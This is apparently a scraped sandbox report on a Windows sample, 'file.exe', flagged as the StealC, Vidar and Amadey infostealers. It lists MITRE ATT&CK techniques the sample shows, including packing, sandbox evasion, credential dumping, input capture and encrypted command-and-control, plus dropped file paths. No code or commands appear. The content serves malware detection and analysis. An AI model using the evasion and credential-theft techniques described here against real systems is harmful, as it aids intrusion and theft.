Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAAAKJKJEBGHJKFHIDGCFCBAKK

C:\ProgramData\AFHJJEHIEBKKFIDHDGHJDHIIDB

C:\ProgramData\CAKKKFBFIDGDBFHJJEHIDHDAAF

C:\ProgramData\DAEBKKKEHDHDGDGCFBKJEBGIEC

C:\ProgramData\FHCGCFHDHIIIDGCAAEGD

C:\ProgramData\GCBKFIEBGCAAFIEBFCAE

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre